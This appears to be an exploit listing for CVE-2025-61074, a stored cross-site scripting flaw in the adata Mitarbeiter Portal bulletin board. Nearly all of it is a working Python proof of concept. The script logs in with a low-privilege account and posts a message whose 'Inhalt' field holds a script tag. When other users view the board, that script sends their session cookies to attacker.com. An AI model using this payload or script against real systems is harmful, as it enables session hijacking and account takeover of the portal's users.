CVE-2025-61074: adata Mitarbeiter Portal 存储型XSS漏洞

import requests # CVE-2025-61074 PoC - Stored XSS in adata Mitarbeiter Portal # Target: /SchwarzeBrett/Nachrichten/CreateNachricht TARGET_URL = "http://target-server/SchwarzeBrett/Nachrichten/CreateNachricht" LOGIN_URL = "http://target-server/api/auth/login" # Malicious XSS payload XSS_PAYLOAD = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" def exploit(): # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": "attacker_user", "password": "password123" } session.post(LOGIN_URL, json=login_data) # Step 2: Create message with XSS payload in 'Inhalt' parameter message_data = { "Inhalt": XSS_PAYLOAD, "Titel": "Test Message" } response = session.post(TARGET_URL, json=message_data) # Step 3: When other users view the bulletin board, # the stored script will execute in their browsers print(f"Exploit sent. Status: {response.status_code}") print(f"Payload stored: {XSS_PAYLOAD}") if __name__ == "__main__": exploit()